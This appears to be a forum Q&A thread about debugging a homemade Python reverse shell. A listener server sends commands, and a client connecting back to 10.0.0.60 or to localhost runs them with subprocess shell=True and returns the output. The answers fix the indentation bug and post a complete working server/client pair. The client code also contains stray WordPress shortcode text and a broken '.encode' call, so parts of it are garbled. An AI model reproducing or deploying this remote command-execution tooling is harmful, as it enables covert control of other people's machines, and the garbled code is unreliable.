Messing around with a reverse shell I found

the server

from socket import *



HOST = ''

PORT = 9999



s = socket(AF_INET, SOCK_STREAM)

s.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)

s.bind((HOST, PORT))

print("Listening on port " + str(PORT))

s.listen(10)

conn, addr = s.accept()

print("Connected to " + str(addr))

data = conn.recv(1024)



while 1:

    command = input("connectedn")

    conn.send(str(command).encode('utf-8'))

    if command == "quit": break

    data = conn.recv(1024).decode('utf-8')

print (data)



conn.close()

client

import socket, subprocess



HOST = '10.0.0.60'

PORT = 9999

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((HOST, PORT))

s.send(

    '[fusion_builder_container hundred_percent="yes" overflow="visible"][fusion_builder_row][fusion_builder_column type="1_1" background_position="left top" background_color="" border_size="" border_color="" border_style="solid" spacing="yes" background_image="" background_repeat="no-repeat" padding="" margin_top="0px" margin_bottom="0px" class="" id="" animation_type="" animation_speed="0.3" animation_direction="left" hide_on_mobile="no" center_content="no" min_height="none"][*] Connected')



while 1:

    data = s.recv(1024).decode('utf-8')

    if data == "quit": break

    proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)

    stdout_value = proc.stdout.read() + proc.stderr.read()

    s.send(stdout_value).encode('utf-8')

s.close()

Error

connected

dir

connected

dir

After a lot of trial and error when I run both the client connects to the server, however upon entering input such as dir it loops back to waiting for input. Off the bat I'm assuming its an encoding/decoding related issue but I've looked through some documentation and I'm not really sure of a fix.

Your server doesn't show you the output of the commands you send over the network to the client because you're not doing anything with data inside the server's main loop. The print command that I think you expect to be printing the result of each command is not indented correctly.

Indent print(data) to be even with the preceding lines and your program should work as you intend.

#Server Side Script



import socket



s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

host = socket.gethostname()

port = 9999



s.bind((host,port))



print ("Waiting for connection...")

s.listen(5)



conn,addr = s.accept()

print ('Got Connection from', addr)

x='Server Saying Hi'.encode("utf-8")

while True:

    command=input("Shell > ")

    if 'terminate' in command:

        conn.send('terminate'.encode("utf-8"))

        conn.close()

        break

    else:

        conn.send(bytes(command.encode("utf-8")))

        print(conn.recv(20000).decode("utf-8"))

Client side Script

import socket           

import subprocess

def connect():

    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

    host = socket.gethostname()         # Get current machine name

    port = 9999                         # Client wants to connect to server's                    # port number 9999

    s.connect((host,port))



    while True :

        try:

            command=s.recv(1024).decode("utf-8")

            print('Server Says :- ',command)

            if 'terminate' in command:

                s.close()

                break



            else:

                    CMD=subprocess.Popen(command,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)

                    s.send(CMD.stdout.read())

                    s.send(CMD.stderr.read())



        except ConnectionAbortedError as e:

            print("Server Connection Closed !nnn",e)

connect()